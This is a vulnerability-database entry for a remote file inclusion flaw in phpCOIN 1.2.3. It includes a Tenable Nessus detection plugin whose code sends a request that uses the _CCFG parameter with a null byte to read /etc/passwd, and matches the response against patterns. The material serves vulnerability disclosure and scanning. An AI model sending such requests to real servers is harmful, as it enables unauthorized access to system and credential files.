Vulnerabilities > CVE-2006-4424 - Remote File Include vulnerability in Coinsoft Technologies PHPcoin 1.2.3

047910
CVSS 5.1 - MEDIUM
Attack vector
NETWORK
Attack complexity
HIGH
Privileges required
NONE
Confidentiality impact
PARTIAL
Integrity impact
PARTIAL
Availability impact
PARTIAL
network
high complexity
coinsoft-technologies
nessus
exploit available

Summary

PHP remote file inclusion vulnerability in coin_includes/constants.php in phpCOIN 1.2.3 allows remote attackers to execute arbitrary PHP code via the _CCFG[_PKG_PATH_INCL] parameter.

Vulnerable Configurations

Part Description Count
Application
Coinsoft_Technologies
1

Exploit-Db

descriptionphpCOIN 1.2.3 (session_set.php) Remote Include Vulnerability. CVE-2006-4424,CVE-2006-4425. Webapps exploit for php platform
fileexploits/php/webapps/2254.txt
idEDB-ID:2254
last seen2016-01-31
modified2006-08-24
platformphp
port
published2006-08-24
reporterTimq
sourcehttps://www.exploit-db.com/download/2254/
titlephpCOIN 1.2.3 session_set.php Remote Include Vulnerability
typewebapps

Nessus

NASL familyCGI abuses
NASL idPHPCOIN_CCFG_FILE_INCLUDES.NASL
descriptionThe remote host is running phpCOIN, a software package for web-hosting resellers to handle clients, orders, helpdesk queries, and the like. The version of phpCOIN installed on the remote host fails to sanitize input to the
last seen2020-06-01
modified2020-06-02
plugin id22267
published2006-08-25
reporterThis script is Copyright (C) 2006-2018 and is owned by Tenable, Inc. or an Affiliate thereof.
sourcehttps://www.tenable.com/plugins/nessus/22267
titlephpCOIN Multiple Script _CCFG Parameter Remote File Inclusion
code
#
# (C) Tenable Network Security, Inc.
#


include("compat.inc");

if (description)
{
  script_id(22267);
  script_version("1.20");

  script_cve_id("CVE-2006-4424", "CVE-2006-4425");
  script_bugtraq_id(19706);
  if (defined_func("script_xref")) {
  }
 script_xref(name:"EDB-ID", value:"2254");

  script_name(english:"phpCOIN Multiple Script _CCFG Parameter Remote File Inclusion");
  script_summary(english:"Tries to read a local file with phpCOIN");

 script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a PHP application that is affected by
multiple remote file include issues." );
 script_set_attribute(attribute:"description", value:
"The remote host is running phpCOIN, a software package for web-hosting
resellers to handle clients, orders, helpdesk queries, and the like. 

The version of phpCOIN installed on the remote host fails to sanitize
input to the '_CCFG' array parameter before using it in several
scripts to include PHP code.  Provided PHP's 'register_globals'
setting is enabled, an unauthenticated attacker may be able to exploit
these flaws to view arbitrary files on the remote host or to execute
arbitrary PHP code, possibly taken from third-party hosts." );
 script_set_attribute(attribute:"see_also", value:"http://forums.phpcoin.com//index.php?showtopic=3" );
 script_set_attribute(attribute:"solution", value:
"Patch the 'coin_includes/session_set.php' file as described in the
vendor advisory referenced above." );
 script_set_cvss_base_vector("CVSS2#AV:N/AC:H/Au:N/C:P/I:P/A:P");
 script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
 script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
 script_set_attribute(attribute:"exploit_available", value:"false");
 script_set_attribute(attribute:"plugin_publication_date", value: "2006/08/25");
 script_set_attribute(attribute:"vuln_publication_date", value: "2006/08/24");
 script_cvs_date("Date: 2018/09/17 21:46:53");

script_set_attribute(attribute:"plugin_type", value:"remote");
script_set_attribute(attribute:"cpe",value:"cpe:/a:coinsoft_technologies:phpcoin");
script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_end_attributes();


  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2006-2018 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("http_version.nasl");
  script_exclude_keys("Settings/disable_cgi_scanning");
  script_require_ports("Services/www", 80);
  script_require_keys("www/PHP");
  exit(0);
}

include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("data_protection.inc");

port = get_http_port(default:80);
if (!can_host_php(port:port)) exit(0);


# Loop through directories.
if (thorough_tests) dirs = list_uniq("/phpcoin", cgi_dirs());
else dirs = make_list(cgi_dirs());

foreach dir (dirs)
{
  # Try to exploit the flaw to read a file.
  file = "/etc/passwd%00";
  w = http_send_recv3(method: "GET", 
    item:string(
      dir, "/coin_includes/constants.php?",
      "_CCFG[_PKG_PATH_INCL]=", file
    ),
    port:port
  );
  if (isnull(w)) exit(0);
  res = strcat(w[0], w[1], '\r\n', w[2]);

  # There's a problem if...
  if (
    # it sets the phpCOIN cookie and...
    "phpcoinsessid=" >< w[1] &&
    (
    # there's an entry for root or...
      egrep(pattern:"root:.*:0:[01]:", string:res) ||
      # we get an error saying "failed to open stream".
      egrep(pattern:"main\(/etc/passwd\\0core\.php.+ failed to open stream", string:res) ||
      # we get an error claiming the file doesn't exist or...
      egrep(pattern:"main\(/etc/passwd\).*: failed to open stream: No such file or directory", string:res) ||
      # we get an error about open_basedir restriction.
      egrep(pattern:"main.+ open_basedir restriction in effect. File\(/etc/passwd", string:res)
    )
  )
  {
    if (egrep(string: res, pattern:"root:.*:0:[01]:"))
    {
      res = res - strstr(res, "<br");

      # Skip HTTP response headers.
      contents = "";
      in_headers = 1;
      foreach line (split(res, keep:FALSE))
      {
        if (strlen(line) == 0) in_headers = 0;
        else if (!in_headers) contents += line + '\n';
      }
    }

    if (contents && report_verbosity)
    {
      contents = data_protection::redact_etc_passwd(output:contents);
      report = string(
        "Here are the repeated contents of the file '/etc/passwd' that\n",
        "Nessus was able to read from the remote host :\n",
        "\n",
        contents
      );
    }
    else report = NULL;

    security_warning(port:port, extra:report);
    exit(0);
  }
}